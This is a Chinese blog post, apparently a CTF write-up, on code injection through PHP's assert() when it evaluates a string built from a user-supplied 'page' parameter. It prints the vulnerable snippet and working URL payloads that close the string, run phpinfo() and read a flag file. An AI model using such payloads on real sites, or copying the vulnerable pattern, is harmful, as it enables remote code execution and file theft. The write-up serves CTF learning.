assert引起的代码注射

Posted Sn00py

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了assert引起的代码注射相关的知识,希望对你有一定的参考价值。

源自一道ctf题

<?php

if (isset($_GET[page])) {
    $page = $_GET[page];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";
assert("strpos(‘$file‘, ‘..‘) === false") or die("傻了吧我的弟!");
assert("file_exists(‘$file‘)") or die("厉害了我的哥!");

?>
            <?php
                require_once $file;
            ?>

功能:1.page接收参数后组合成变量file。

   2.file经过滤..()防止目录遍历和判断文件是否存在

     3.包含文件

assert()简介:判断一个表达式是否成立。返回true or false。

当参数为字符串时,会被当作php代码执行。

例如 assert("phpinfo()")  <==>  <?phpinfo()?>

writeup:

通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码

构造: /?page=123%27)%20or%20phpinfo();%23

  注意闭合‘  )  以及结尾;

关于此处的#:   #是单行注释,由assert("phpinfo()")  <==>  <?phpinfo()?>   可知,#的作用域仅仅是assert(函数内)

利用:/?page=123%27)%20or%20print_r(file_get_contents(%27templates/flag.php%27));%23

解释:file_get_contents把文件读入一个字符串中

最后,assert与eval的区别

assert把整个字符串参数当php代码执行,eval把合法的php代码执行。

 

以上是关于assert引起的代码注射的主要内容,如果未能解决你的问题,请参考以下文章

c++中断言函数指啥

assertion failed是啥原因?

如何使用Guice注射器创建对象?

误差与布尔和基于时间的盲注射之间的区别?

如何区分两个“onpause”事件 - 由单击“暂停”按钮引起,以及由到达媒体片段末尾引起?

你好声称和断言这个两个词有何区别?